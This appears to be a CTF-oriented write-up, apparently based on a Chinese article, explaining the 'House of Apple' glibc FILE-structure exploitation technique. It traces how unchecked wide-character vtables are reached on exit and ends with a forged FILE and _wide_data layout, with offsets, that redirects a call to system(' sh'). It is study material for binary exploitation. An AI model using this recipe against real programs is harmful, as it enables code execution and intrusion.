House of Apple


Original article:一种新的glibc中io攻击方法-1/


  1. can call exit or return from main
  2. heap_base and libc_base
  3. single largebin chunk


In glibc, jumps from vtables are made via these macros:

// example jump macro with 1 extra argument

#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable(_IO_JUMPS_FILE_plus (THIS) + (THIS)->_vtable_offset) )

#define _IO_JUMPS_FILE_plus(THIS) _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#define _IO_WIDE_JUMPS(THIS) _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

The macros for WXXX are not protected by IO_validate_vtable, so we can use this to call arbitrary function. These macros are used in functions of _IO_wfile_jumps vtable:

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)

The struct of f->_wide_data is

/* Extra data for wide character streams.  */
struct _IO_wide_data
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base; // 0x18
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base; // 0x30
wchar_t *_IO_buf_end;
wchar_t *_IO_save_base;
wchar_t *_IO_backup_base;
wchar_t *_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable; // 0xe0

It’s quite similar to FILE, but vtable is at 0xe0.



When exit is called, the FILE cleanup call stack is fcloseall -> _IO_cleanup -> _IO_flush_all_lockp.

int _IO_flush_all_lockp (int do_lock)
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF) // <--- overflow call
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);

return result;

// definition of _IO_OVERFLOW
typedef int (*_IO_overflow_t) (FILE *, int);
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

So for each FILE in _IO_list_all, its vtable->__overflow is called when the below requirements are satisfied:

  1. fp->_mode == 0
  2. fp->_IO_write_ptr > fp->_IO_write_base

We can set our victim FILE (stderr) to point to this vtable. On exit, it will call the overflow function, _IO_wfile_overflow, which is defined as:

wint_t _IO_wfile_overflow (FILE *f, wint_t wch)
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
_IO_wdoallocbuf (f); // <-- call to _IO_wdallocbuf macro
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

if (f->_IO_write_base == NULL)
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
// ...

void _IO_wdoallocbuf (_IO_FILE *fp)
if (fp->_wide_data->_IO_buf_base)
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

The _IO_wfile_overflow function calls _IO_wdoallocbuf, which then calls __doallocate of the _wide_vtable, passing the FILE struct as the first argument. As mentioned, the _wide_vtable performs no checks so we can point this to system.

So our call stack looks like this:

_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> _wide_data._wide_vtable.__doallocate

Analyzing each of the functions, we need to satisfy:

  1. f->flags == ~(0x8 | 0x800 | 0x2) (unset _IO_NO_WRITES, _IO_CURRENTLY_PUTTING and _IO_UNBUFFERED)
  2. f->_wide_data->_IO_write_base == 0
  3. f->_wide_data->_IO_buf_base == 0

Then our desired function goes into __doallocate (_wide_vtable+0x68), and rdi goes into flags.


With the above conditions satisfied, our FILE struct will look like this:

f->_flags = " sh";
f->write_base = 0; // +0x20
f->write_ptr = 1; // +0x28
f->_wide_data = ; // <ptr to forged wide_data struct> at +0xa0
f->_mode = 0; // +0xc0 (note: pwntools FILE struct doesn't have this, but can leave as blank cos default is likely 0)
f->vtable = &_IO_wfile_jumps; // +0xd8

// _wide_data (can forge in heap etc)
_wide_data->_IO_write_base = 0; // +0x18
_wide_data->_IO_buf_base = 0; // +0x30
_wide_data->_wide_vtable = *(&(system) - 0x68); // <ptr to (system - 0x68)> at +0xe0

There are a few more gadget chains using _IO_wfile_underflow_mmap, _IO_wdefault_xgetn, _IO_wfile_underflow, _IO_wdo_write and _IO_wfile_sync which I will put here once I analyze them.